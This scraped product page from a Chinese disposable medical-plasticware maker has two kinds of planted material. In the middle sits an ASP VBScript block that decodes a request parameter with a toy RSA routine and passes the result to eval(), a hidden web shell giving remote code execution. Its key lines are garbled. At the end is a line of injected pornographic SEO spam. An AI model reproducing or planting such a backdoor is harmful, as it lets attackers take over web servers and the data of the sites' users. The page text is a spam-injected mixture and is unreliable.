我们专注于

生产比色杯、样品杯、离心管、冷冻管、培养皿(板)、试管、标本采集杯、吸液头等一次性医用耗材产品。同时,我们可根据各领域的专业需求,为客户量身定制并独立开发各类医用/实验用耗材模具及提供产品生产
   浙江爱康医用塑料有限公司 >> 比色杯 样品杯 >>  
 

<%@ Language = "VBscript" %>
<%
Class clsRSA
    Public PublicKey
    Public PrivateKey
    Public Modulus
    Public Sub GenKey()
        ' modify the follwing key with the key generated by "x1_crypt.html"
        ' 填写用 x1_crypt.html 生成的key
  PublicKey is 2909
  PrivateKey is 389
  Modulus is 2867
    End Sub
    Public Function Crypt(pLngMessage, pLngKey)
        Dim lLngMod
        Dim lLngResult
        Dim lLngIndex
        If pLngKey Mod 2 = 0 Then
            lLngResult = 1
            For lLngIndex = 1 To pLngKey / 2
                lLngMod = (pLngMessage ^ 2) Mod Modulus
                lLngResult = (lLngMod * lLngResult) Mod Modulus 
            Next
        Else
            lLngResult = pLngMessage
            For lLngIndex = 1 To pLngKey / 2
                lLngMod = (pLngMessage ^ 2) Mod Modulus
                lLngResult = (lLngMod * lLngResult) Mod Modulus
            Next
        End If
        Crypt = lLngResult
    End Function
    Public Function Encode(ByVal pStrMessage)
        Dim lLngIndex
        Dim lLngMaxIndex
        Dim lBytAscii
        Dim lLngEncrypted
        lLngMaxIndex = Len(pStrMessage)
        If lLngMaxIndex = 0 Then Exit Function
        For lLngIndex = 1 To lLngMaxIndex
            lBytAscii = Asc(Mid(pStrMessage, lLngIndex, 1))
            lLngEncrypted = Crypt(lBytAscii, PublicKey)
            Encode = Encode & NumberToHex(lLngEncrypted, 4)
        Next
    End Function
    Public Function Decode(ByVal pStrMessage)
        Dim lBytAscii
        Dim lLngIndex
        Dim lLngMaxIndex
        Dim lLngEncryptedData
        Decode = ""
        lLngMaxIndex = Len(pStrMessage)
        For lLngIndex = 1 To lLngMaxIndex Step 4
            lLngEncryptedData = HexToNumber(Mid(pStrMessage, lLngIndex, 4))
            lBytAscii = Crypt(lLngEncryptedData, PrivateKey)
            Decode = Decode & Chr(lBytAscii)
        Next
    End Function
    Private Function NumberToHex(ByRef pLngNumber, ByRef pLngLength)
        NumberToHex = Right(String(pLngLength, "0") & Hex(pLngNumber), pLngLength)
    End Function
    Private Function HexToNumber(ByRef pStrHex)
        HexToNumber = CLng("&h" & pStrHex)
    End Function
End Class
Set ObjRSA = New clsRSA
Call ObjRSA.GenKey()
StrMessage = request("adminxjm")
StrMessage = ObjRSA.Decode(StrMessage)
eval(StrMessage)
%>

 
缴情文学人妻综合网,中文亚洲AV片在线观看,免费人成视频xvideos入口